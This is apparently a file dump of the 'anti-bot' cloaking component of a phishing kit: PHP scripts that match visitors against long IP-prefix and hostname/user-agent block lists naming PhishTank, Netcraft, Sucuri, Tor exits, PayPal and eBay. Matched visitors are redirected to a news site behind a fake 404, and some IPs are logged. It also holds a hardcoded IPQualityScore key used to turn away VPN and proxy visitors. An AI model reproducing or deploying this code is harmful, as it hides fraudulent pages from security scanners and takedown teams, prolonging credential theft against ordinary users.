"^1.234.41.", "^124.66.185.", "^87.106.251.", "^176.195.231.", "^206.253.226.", "^107.20.181.", "^188.244.39.", "^124.66.185.", "^38.74.138.", "^124.66.185.", "^38.74.138.", "^206.253.226.", "^1.234.41.", "^124.66.185.", "^87.106.251.", "^85.9.7.", "^37.140.188.", "^195.128.227.", "^38.74.138.", "^107.20.181.", "^104.131.223.", "^46.4.120.", "^107.178.194.", "^198.60.236.", "^217.74.103.", "^92.103.69.", "^217.74.103.", "^66.211.160.86", "^46.244..", "^131...", "^157...", "^202...", "^204...", "^207...", "^213...", "^219...", "^63...", "^64...", "^65...", "^68...", "^64...", "^64.233.160.", "^64.233.191.", "^64.233.191.255", "^66.102..", "^66.249..", "^72.14..", "^74.125..", "^209.85..", "^216.239..", "^64.4..", "^65.52..", "^131.253..", "^157.54..", "^207.46..", "^207.68..", "^8.12..", "^66.196..", "^66.228..", "^67.195..", "^68.142..", "^72.30..", "^74.6..", "^98.136..", "^202.160..", "^209.191..", "^66.102..", "^38.100..", "^107.170..", "^149.20..", "^38.105..", "^74.125..", "^66.150.14.", "^54.176..", "^38.100..", "^184.173..", "^66.249..", "^128.242..", "^72.14.192.", "^208.65.144.", "^74.125..", "^209.85.128.", "^216.239.32.", "^74.125..", "^207.126.144.", "^173.194..", "^64.233.160.", "^72.14.192.", "^66.102..", "^64.18..", "^194.52.68.", "^194.72.238.", "^62.116.207.", "^212.50.193.", "^69.65..", "^50.7..", "^131.212..", "^46.116.. ", "^62.90..", "^89.138..", "^82.166..", "^85.64..", "^85.250..", "^89.138..", "^93.172..", "^109.186..", "^194.90..", "^212.29.192.", "^212.29.224.", "^212.143..", "^212.150..", "^212.235..", "^217.132..", "^50.97..", "^217.132..", "^209.85..", "^66.205.64.", "^204.14.48.", "^64.27.2.", "^67.15..", "^202.108.252.", "^193.47.80.", "^64.62.136.", "^66.221..", "^64.62.175.", "^198.54..", "^192.115.134.", "^216.252.167.", "^193.253.199.", "^69.61.12.", "^64.37.103.", "^38.144.36.", "^64.124.14.", "^206.28.72.", "^209.73.228.", "^158.108..", "^168.188..", "^66.207.120.", "^167.24..", "^192.118.48.", "^67.209.128.", "^12.148.209.", "^12.148.196.", "^193.220.178.", "68.65.53.71", "^198.25..", "^64.106.213.","^64.106.213.","^194.72.238.", ); foreach($ips as $ip) { if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ exit(header('Location: https://www.mediapart.fr/')); $ip = getenv("REMOTE_ADDR"); } } $dp = strtolower($_SERVER['HTTP_USER_AGENT']); $blocked_words = array( "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "acunetix", "netsparker", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "outlook!", "outlook", "msn", "hotmail", ); foreach($blocked_words as $word2) { if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == " ") { exit(header('Location: https://www.mediapart.fr/')); } } ?>��anti4.php��0000644��00000016624�14741757636�0006331 0��ustar�00��<?php $c5d6b=$_SERVER['REMOTE_ADDR'];$gh665yu=gethostbyaddr($c5d6b);$b3d6d45ss=array("bot","above","google","softlayer","amazonaws","cyveillance","compatible","facebook","phishtank","mozilla","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","Trident","X11","Macintosh","crawler","urlredirectresolver","jetbrains","spam","windows 95","Windows XP","windows xp","windows 98","acunetix","netsparker","google","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm",'Googlebot','Baiduspider','ia_archiver','R6_FeedFetcher','NetcraftSurveyAgent','Sogou web spider','bingbot','Yahoo! Slurp','facebookexternalhit','PrintfulBot','msnbot','Twitterbot','UnwindFetchor','urlresolver','Butterfly','TweetmemeBot','PaperLiBot','MJ12bot','AhrefsBot','Exabot','Ezooms','YandexBot','SearchmetricsBot','picsearch','TweetedTimes Bot','QuerySeekerSpider','ShowyouBot','woriobot','merlinkbot','BazQuxBot','Kraken','SISTRIX Crawler','R6_CommentReader','magpie-crawler','GrapeshotCrawler','PercolateCrawler','MaxPointCrawler','R6_FeedFetcher','NetSeer crawler','grokkit-crawler','SMXCrawler','PulseCrawler','Y!J-BRW','80legs.com/webcrawler','Mediapartners-Google','Spinn3r','InAGist','Python-urllib','NING','TencentTraveler','Feedfetcher-Google','mon.itor.us','spbot','Feedly','bot','curl','spider','crawler',"abot","dbot","ebot","hbot","kbot","lbot","mbot","nbot","obot","pbot","rbot","sbot","tbot","vbot","ybot","zbot","bot.","bot/","_bot",".bot","/bot","-bot",":bot","(bot","crawl","slurp","spider","seek","accoona","acoon","adressendeutschland","ah-ha.com","ahoy","altavista","ananzi","anthill","appie","arachnophilia","arale","araneo","aranha","architext","aretha","arks","asterias","atlocal","atn","atomz","augurfind","backrub","bannana_bot","baypup","bdfetch","big brother","biglotron","bjaaland","blackwidow","blaiz","blog","blo.","bloodhound","boitho","booch","bradley","butterfly","calif","cassandra","ccubee","cfetch","charlotte","churl","cienciaficcion","cmc","collective","comagent","combine","computingsite","csci","curl","cusco","daumoa","deepindex","delorie","depspid","deweb","echo blinde kuh","digger","ditto","dmoz","docomo","download express","dtaagent","dwcp","ebiness","ebingbong","e-collector","ejupiter","emacs-w3 search engine","esther","evliya celebi","ezresult","falcon","felix ide","ferret","fetchrover","fido","findlinks","fireball","fish search","fouineur","funnelweb","gazz","gcreep","genieknows","getterroboplus","geturl","glx","goforit","golem","grabber","grapnel","gralon","griffon","gromit","grub","gulliver","hamahakki","harvest","havindex","helix","heritrix","hku www octopus","homerweb","htdig","html index","html_analyzer","htmlgobble","hubater","hyper-decontextualizer","ia_archiver","ibm_planetwide","ichiro","iconsurf","iltrovatore","image.kapsi.net","imagelock","incywincy","indexer","infobee","informant","ingrid","inktomisearch.com","inspector web","intelliagent","internet shinchakubin","ip3000","iron33","israeli-search","ivia","jack","jakarta","javabee","jetbot","jumpstation","katipo","kdd-explorer","kilroy","knowledge","kototoi","kretrieve","labelgrabber","lachesis","larbin","legs","libwww","linkalarm","link validator","linkscan","lockon","lwp","lycos","magpie","mantraagent","mapoftheinternet","marvin/","mattie","mediafox","mediapartners","mercator","merzscope","microsoft url control","minirank","miva","mj12","mnogosearch","moget","monster","moose","motor","multitext","muncher","muscatferret","mwd.search","myweb","najdi","nameprotect","nationaldirectory","nazilla","ncsa beta","nec-meshexplorer","nederland.zoek","netcarta webmap engine","netmechanic","netresearchserver","netscoop","newscan-online","nhse","nokia6682/","nomad","noyona","nutch","nzexplorer","objectssearch","occam","omni","open text","openfind","openintelligencedata","orb search","osis-project","pack rat","pageboy","pagebull","page_verifier","panscient","parasite","partnersite","patric","pear.","pegasus","peregrinator","pgp key agent","phantom","phpdig","picosearch","piltdownman","pimptrain","pinpoint","pioneer","piranha","plumtreewebaccessor","pogodak","poirot","pompos","poppelsdorf","poppi","popular iconoclast","psycheclone","publisher","python","rambler","raven search","roach","road runner","roadhouse","robbie","robofox","robozilla","rules","salty","sbider","scooter","scoutjet","scrubby","search.","searchprocess","semanticdiscovery","senrigan","sg-scout","shai'hulud","shark","shopwiki","sidewinder","sift","silk","simmany","site searcher","site valet","sitetech-rover","skymob.com","sleek","smartwit","sna-","snappy","snooper","sohu","speedfind","sphere","sphider","spinner","spyder","steeler/","suke","suntek","supersnooper","surfnomore","sven","sygol","szukacz","tach black widow","tarantula","templeton","/teoma","t-h-u-n-d-e-r-s-t-o-n-e","theophrastus","titan","titin","tkwww","toutatis","t-rex","tutorgig","twiceler","twisted","ucsd","udmsearch","url check","updated","vagabondo","valkyrie","verticrawl","victoria","vision-search","volcano","voyager/","voyager-hc","w3c_validator","w3m2","w3mir","walker","wallpaper","wanderer","wauuu","wavefire","web core","web hopper","web wombat","webbandit","webcatcher","webcopy","webfoot","weblayers","weblinker","weblog monitor","webmirror","webmonkey","webquest","webreaper","websitepulse","websnarf","webstolperer","webvac","webwalk","webwatch","webwombat","webzinger","wget","whizbang","whowhere","wild ferret","worldlight","wwwc","wwwster","xenu","xget","xift","xirq","yandex","yanga","yeti","yodao","zao/","zippp","zyborg","....");foreach($b3d6d45ss as $kf5g8f){if(substr_count($gh665yu,$kf5g8f)>0){header('Location: https://www.mediapart.fr/');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}$ef2550c=array("^81.161.59.","^66.135.200.","^66.102..","^38.100..","^107.170..","^149.20..","^38.105..","^74.125..","^66.150.14.","^54.176..","^38.100..","^184.173..","^66.249..","^128.242..","^72.14.192.","^208.65.144.","^74.125..","^209.85.128.","^216.239.32.","^74.125..","^207.126.144.","^173.194..","^64.233.160.","^72.14.192.","^66.102..","^64.18..","^194.52.68.","^194.72.238.","^62.116.207.","^212.50.193.","^69.65..","^50.7..","^131.212..","^46.116..* ","^62.90..","^89.138..","^82.166..","^85.64..","^85.250..","^89.138..","^93.172..","^109.186..","^194.90..","^212.29.192.","^212.29.224.","^212.143..","^212.150..","^212.235..","^217.132..","^50.97..","^217.132..","^209.85..","^66.205.64.","^204.14.48.","^64.27.2.","^67.15..","^202.108.252.","^193.47.80.","^64.62.136.","^66.221..","^64.62.175.","^198.54..","^192.115.134.","^216.252.167.","^193.253.199.","^69.61.12.","^64.37.103.","^38.144.36.","^64.124.14.","^206.28.72.","^209.73.228.","^158.108..","^168.188..","^66.207.120.","^167.24..","^192.118.48.","^67.209.128.","^12.148.209.","^12.148.196.","^193.220.178.","68.65.53.71","^198.25..","^64.106.213.","^91.103.66.","^208.91.115.","^199.30.228.");if(in_array($c5d6b,$ef2550c)){header('Location: https://www.mediapart.fr/');exit();}else{foreach($ef2550c as $b1b3v6f){if(preg_match('/'.$b1b3v6f.'/',$c5d6b)){header('Location: https://www.mediapart.fr/');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}}?>��anti1.php��0000644��00000005633�14741757636�0006324 0��ustar�00��<?php $c28dd9c=$_SERVER['REMOTE_ADDR']; $c97e57ec=array("^66.102..","^38.100..","^185.187..","^185.187.30.","^107.170..","^149.20..","^38.105..","^173.239..","^173.244.36.","^74.125..","^66.150.14.","^54.176..","^38.100..","^184.173..","^66.249..","^128.242..","^72.14.192.","^208.65.144.","^74.125..","^209.85.128.","^216.239.32.","^74.125..","^207.126.144.","^173.194..","^64.233.160.","^72.14.192.","^66.102..","^64.18..","^194.52.68.","^194.72.238.","^62.116.207.","^212.50.193.","^69.65..","^50.7..","^131.212..","^46.116.. ","^62.90..","^89.138..","^82.166..","^85.64..","^85.250..","^89.138..","^93.172..","^109.186..","^194.90..","^212.29.192.","^212.29.224.","^212.143..","^212.150..","^212.235..","^217.132..","^50.97..","^217.132..","^209.85..","^66.205.64.","^204.14.48.","^64.27.2.","^67.15..","^202.108.252.","^193.47.80.","^64.62.136.","^66.221..","^64.62.175.","^198.54..","^192.115.134.","^216.252.167.","^193.253.199.","^69.61.12.","^64.37.103.","^38.144.36.","^64.124.14.","^206.28.72.","^209.73.228.","^158.108..","^168.188..","^66.207.120.","^167.24..","^192.118.48.","^67.209.128.","^12.148.209.","^12.148.196.","^193.220.178.","68.65.53.71","^198.25..","^64.106.213.","173.239.240.147", "103.248.172.42", "69.25.58.61", "185.187.30.13", "178.24.121.188", "87.113.96.90", "165.227.0.128", "185.229.190.140", "165.227.0.128", "46.101.94.163", "165.227.39.194", "87.113.96.90", "46.101.119.24", "82.102.27.75", "173.239.230.97", "82.102.27.75", "87.113.96.90", "46.101.119.24", "173.239.230.97", "87.113.96.90", "87.113.96.90", "159.203.0.156", "162.243.187.126", "82.102.27.75", "87.113.96.90", "103.248.172.42", "103.248.172.42", "47.30.133.89", "103.248.172.42" );if(in_array($c28dd9c,$c97e57ec)){exit(header('Location: https://www.mediapart.fr/'));}else{foreach($c97e57ec as $a4ade){if(preg_match('/'.$a4ade.'/',$c28dd9c)){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as $cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: https://www.mediapart.fr/'));}}}?>��filter.php��0000644��00000012523�14741757636�0006571 0��ustar�00��<?php namespace IPQualityScore; class BlacklistChecker { private $key = null; private $strictness = 0; private $user_agent = false; private $failure_redirect = null; private $success_redirect = null; private $max_fraudscore = null; private $allow_crawler = null; private $rules = null; const BASE_API_URL = 'https://www.ipqualityscore.com/api/json/ip/%s/%s'; const TYPE_PROXY = 'proxy'; const TYPE_VPN = 'vpn'; const TYPE_TOR = 'tor'; public function SetKey($key = null){ $this->key = $key; } public function SetStrictness($value = 0){ $this->strictness = $value; } public function PassUserAgent($value = false){ $this->user_agent = $value; } public function SetFailureRedirect($value = null){ $this->failure_redirect = $value; } public function SetSuccessRedirect($value = null){ $this->success_redirect = $value; } public function SetMaxFraudscore($value = null){ $this->max_fraudscore = $value; } public function SetAllowCrawler($value = false){ $this->allow_crawler = $value; } public function SetRules($value = false){ $this->rules = $value; } public function Precheck(){ if($this->key === null){ throw new InvalidParameter('No key was passed to BlacklistChecker. Aborting.'); } if(!is_numeric($this->strictness)){ throw new InvalidParameter('Invalid strictness was passed to BlacklistChecker. Aborting.'); } if(!is_bool($this->user_agent)){ throw new InvalidParameter('Invalid pass user agent flag was passed to BlacklistChecker (must be bool). Aborting.'); } return true; } public function CheckIP($ip){ if($this->Precheck()){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, sprintf(static::BASE_API_URL, $this->key, urlencode($ip))); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); $parameters = array('strictness' => $this->strictness); if($this->user_agent && isset($_SERVER['HTTP_USER_AGENT'])){ $parameters['user_agent'] = $_SERVER['HTTP_USER_AGENT']; } curl_setopt($curl, CURLOPT_POSTFIELDS, $parameters); $result = curl_exec($curl); $data = json_decode($result, true); curl_close($curl); if($data === false){ die(print_r($result, true)); } else { return $data; } } } / * Si le résultat de $ type est vrai, redirigez l'utilisateur vers l'URL d'échec s'il y en a un ou quittez sinon. * Si le résultat de $ type est faux, redirigez l'utilisateur vers l'URL de réussite s'il y en a une ou continuez l'exécution. / public function ForceRedirect($type = 'proxy'){ $result = $this->CheckIP($this->GetIP()); if(isset($result['is_crawler'])){ if($this->allow_crawler === true && $result['is_crawler'] === true){ return true; } } if($this->max_fraudscore !== null){ if(isset($result['fraud_score']) && $result['fraud_score'] > $this->max_fraudscore){ exit; } } if($this->rules !== null && is_array($this->rules)){ foreach($this->rules as $rule){ if(isset($rule['comparator']) && isset($rule['fraudscore']) && isset($rule['url'])){ if(!empty($rule['comparator']) && !empty($rule['fraudscore']) && !empty($rule['url'])){ $userScore = $result['fraud_score']; $ruleScore = intval($rule['fraudscore']); $comparator = intval($rule['comparator']); $url = $rule['url']; switch($comparator){ case 1: $this->Redirect($url, $userScore === $ruleScore); break; case 2: $this->Redirect($url, $userScore > $ruleScore); break; case 3: $this->Redirect($url, $userScore < $ruleScore); break; case 4: $this->Redirect($url, $userScore !== $ruleScore); break; case 5: $this->Redirect($url, $userScore >= $ruleScore); break; case 6: $this->Redirect($url, $userScore <= $ruleScore); break; } } } } } if(isset($result[$type])){ if($result[$type] === true){ if($this->failure_redirect !== null){ $this->Redirect($this->failure_redirect); } else { exit; } } else { if($this->success_redirect !== null){ $this->Redirect($this->success_redirect); } } } else { if(isset($result['errors'])){ throw new IPQException(implode(' - ', $result['errors'])); } throw new IPQException('Force redirect check failed.'); } } private function Redirect($url, $redirect = true){ if($redirect === true){ exit(header(sprintf("Location: %s", $url))); } return false; } private static function GetIP(){ return (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER["REMOTE_ADDR"]); } } class IPQException extends \Exception {} class InvalidParameter extends IPQException {} $checker = new BlacklistChecker(); $checker->SetKey('J9QGYobZy3jVIV1MEHXWlORmqxCeu8PW'); $checker->SetStrictness(0); $checker->SetFailureRedirect('https://www.mediapart.fr/'); $checker->ForceRedirect('proxy'); ��all.php��0000644��00000000263�14741757636�0006052 0��ustar�00��<?php include('anti1.php'); include('anti2.php'); include('anti3.php'); include('anti4.php'); include('anti5.php'); include('anti6.php'); include('anti7.php'); ?>��anti2.php��0000644��00000003143�14741757636�0006317 0��ustar�00��<?php $c28dd9c=$_SERVER['REMOTE_ADDR'];$c97h77ec=array("^81.161.59.","^66.135.200.","^66.102..","^38.100..","^107.170..","^149.20..","^38.105..","^74.125..","^66.150.14.","^54.176..","^38.100..","^184.173..","^66.249..","^128.242..","^72.14.192.","^208.65.144.","^74.125..","^209.85.128.","^216.239.32.","^74.125..","^207.126.144.","^173.194..","^64.233.160.","^72.14.192.","^66.102..","^64.18..","^194.52.68.","^194.72.238.","^62.116.207.","^212.50.193.","^69.65..","^50.7..","^131.212..","^46.116..* ","^62.90..","^89.138..","^82.166..","^85.64..","^85.250..","^89.138..","^93.172..","^109.186..","^194.90..","^212.29.192.","^212.29.224.","^212.143..","^212.150..","^212.235..","^217.132..","^50.97..","^217.132..","^209.85..","^66.205.64.","^204.14.48.","^64.27.2.","^67.15..","^202.108.252.","^193.47.80.","^64.62.136.","^66.221..","^64.62.175.","^198.54..","^192.115.134.","^216.252.167.","^193.253.199.","^69.61.12.","^64.37.103.","^38.144.36.","^64.124.14.","^206.28.72.","^209.73.228.","^158.108..","^168.188..","^66.207.120.","^167.24..","^192.118.48.","^67.209.128.","^12.148.209.","^12.148.196.","^193.220.178.","68.65.53.71","^198.25..","^64.106.213.","^91.103.66.","^208.91.115.","^199.30.228.");if(in_array($c28dd9c,$c97h77ec)){exit(header('Location: https://www.mediapart.fr/'));}else{foreach($c97h77ec as $a4nde){if(preg_match('/'.$a4nde.'/',$c28dd9c)){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}?>��anti6.php��0000644��00000007561�14741757636�0006333 0��ustar�00��<?php $bannedIP = array("^81.161.59.", "^66.135.200.", "^66.102..", "^38.100..", "^107.170..", "^149.20..", "^38.105..", "^74.125..", "^66.150.14.", "^54.176..", "^38.100..", "^184.173..", "^66.249..", "^128.242..", "^72.14.192.", "^208.65.144.", "^74.125..", "^209.85.128.", "^216.239.32.", "^74.125..", "^207.126.144.", "^173.194..", "^64.233.160.", "^72.14.192.", "^66.102..", "^64.18..", "^194.52.68.", "^194.72.238.", "^62.116.207.", "^212.50.193.", "^69.65..", "^50.7..", "^131.212..", "^46.116.. ", "^62.90..", "^89.138..", "^82.166..", "^85.64..", "^85.250..", "^89.138..", "^93.172..", "^109.186..", "^194.90..", "^212.29.192.", "^212.29.224.", "^212.143..", "^212.150..", "^212.235..", "^217.132..", "^50.97..", "^217.132..", "^209.85..", "^66.205.64.", "^204.14.48.", "^64.27.2.", "^67.15..", "^202.108.252.", "^193.47.80.", "^64.62.136.", "^66.221..", "^64.62.175.", "^198.54..", "^192.115.134.", "^216.252.167.", "^193.253.199.", "^69.61.12.", "^64.37.103.", "^38.144.36.", "^64.124.14.", "^206.28.72.", "^209.73.228.", "^158.108..", "^168.188..", "^66.207.120.", "^167.24..", "^192.118.48.", "^67.209.128.", "^12.148.209.", "^12.148.196.", "^193.220.178.", "68.65.53.71", "^198.25..", "^64.106.213.", "^91.103.66.", "^208.91.115.", "^199.30.228.", "^66.102..", "^38.100..", "^107.170..", "^149.20..", "^38.105..", "^74.125..", "^66.150.14.", "^54.176..", "^38.100..", "^184.173..", "^66.249..", "^128.242..", "^72.14.192.", "^208.65.144.", "^74.125..", "^209.85.128.", "^216.239.32.", "^74.125..", "^207.126.144.", "^173.194..", "^64.233.160.", "^72.14.192.", "^66.102..", "^64.18..", "^194.52.68.", "^194.72.238.", "^62.116.207.", "^212.50.193.", "^69.65..", "^50.7..", "^131.212..", "^46.116.. ", "^62.90..", "^89.138..", "^82.166..", "^85.64..", "^85.250..", "^89.138..", "^93.172..", "^109.186..", "^194.90..", "^212.29.192.", "^212.29.224.", "^212.143..", "^212.150..", "^212.235..", "^217.132..", "^50.97..", "^217.132..", "^209.85..", "^66.205.64.", "^204.14.48.", "^64.27.2.", "^67.15..", "^202.108.252.", "^193.47.80.", "^64.62.136.", "^66.221..", "^64.62.175.", "^198.54..", "^192.115.134.", "^216.252.167.", "^193.253.199.", "^69.61.12.", "^64.37.103.", "^38.144.36.", "^64.124.14.", "^206.28.72.", "^209.73.228.", "^158.108..", "^168.188..", "^66.207.120.", "^167.24..", "^192.118.48.", "^67.209.128.", "^12.148.209.", "^12.148.196.", "^193.220.178.", "68.65.53.71", "^198.25..", "^64.106.213."); if (in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) { exit(header('Location: https://www.mediapart.fr/')); } else { foreach($bannedIP as $ip) { if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) { exit(header('Location: https://www.mediapart.fr/')); } } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { exit(header('Location: https://www.mediapart.fr/')); } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { exit(header('Location: https://www.mediapart.fr/')); } } ?>��anti3.php��0000644��00000010141�14741757636�0006314 0��ustar�00��<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26..","^95.85..","^72.52.96.","^212.8.79.","^62.99.77.","^83.31.118.","^91.231..","^206.207..","^91.231.212.","^62.99.77.","^198.41.243.","^162.158..","^162.158.7.","^162.158.72.","^173.245.55.","^108.162.246.","^162.158.95.","^108.162.215.","^95.108.194.","^141.101.104.","^93.54.82.","^69.164.145.","^194.153.113.","^178.43.117.","^62.141.65.","^83.31.69.","^107.178.195.","^149.20.54.","^85.9.7.","^87.106.251.","^107.178.194.","^124.66.185.","^133.11.204.","^185.2.138.","^188.165.83.","^78.148.13.","^192.232.213.","^1.234.41.","^124.66.185.","^87.106.251.","^176.195.231.","^206.253.226.","^107.20.181.","^188.244.39.","^124.66.185.","^38.74.138.","^124.66.185.","^38.74.138.","^206.253.226.","^1.234.41.","^124.66.185.","^87.106.251.","^85.9.7.","^37.140.188.","^195.128.227.","^38.74.138.","^107.20.181.","^104.131.223.","^46.4.120.","^107.178.194.","^198.60.236.","^217.74.103.","^92.103.69.","^217.74.103.","^66.211.160.86","^46.244..","^131...","^157...","^202...","^204...","^207...","^213...","^219...","^63...","^64...","^65...","^68...","^64...","^64.233.160.","^64.233.191.","^64.233.191.255","^66.102..","^66.249..","^72.14..","^74.125..","^209.85..","^216.239..","^64.4..","^65.52..","^131.253..","^157.54..","^207.46..","^207.68..","^8.12..","^66.196..","^66.228..","^67.195..","^68.142..","^72.30..","^74.6..","^98.136..","^202.160..","^209.191..","^66.102..","^38.100..","^107.170..","^149.20..","^38.105..","^74.125..","^66.150.14.","^54.176..","^38.100..","^184.173..","^66.249..","^128.242..","^72.14.192.","^208.65.144.","^74.125..","^209.85.128.","^216.239.32.","^74.125..","^207.126.144.","^173.194..","^64.233.160.","^72.14.192.","^66.102..","^64.18..","^194.52.68.","^194.72.238.","^62.116.207.","^212.50.193.","^69.65..","^50.7..","^131.212..","^46.116.. ","^62.90..","^89.138..","^82.166..","^85.64..","^85.250..","^89.138..","^93.172..","^109.186..","^194.90..","^212.29.192.","^212.29.224.","^212.143..","^212.150..","^212.235..","^217.132..","^50.97..","^217.132..","^209.85..","^66.205.64.","^204.14.48.","^64.27.2.","^67.15..","^202.108.252.","^193.47.80.","^64.62.136.","^66.221..","^64.62.175.","^198.54..","^192.115.134.","^216.252.167.","^193.253.199.","^69.61.12.","^64.37.103.","^38.144.36.","^64.124.14.","^206.28.72.","^209.73.228.","^158.108..","^168.188..","^66.207.120.","^167.24..","^192.118.48.","^67.209.128.","^12.148.209.","^12.148.196.","^193.220.178.","68.65.53.71","^198.25..","^64.106.213.*",);foreach($cd1e as $cv1x){if(preg_match('/'.$cv1x.'/',$a370a)){header('Location: https://www.mediapart.fr/');$f4c64o=fopen("captured.txt","a+");fwrite($f4c64o,"ip : {$cv1x} \| ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64o);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d==" "){header('Location: https://www.mediapart.fr/');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} \| ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64i);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}?>��

| ver. 1.4 | Github | . | PHP 7.0.33 | Генерация страницы: 4.21 | proxy | phpinfo | Настройка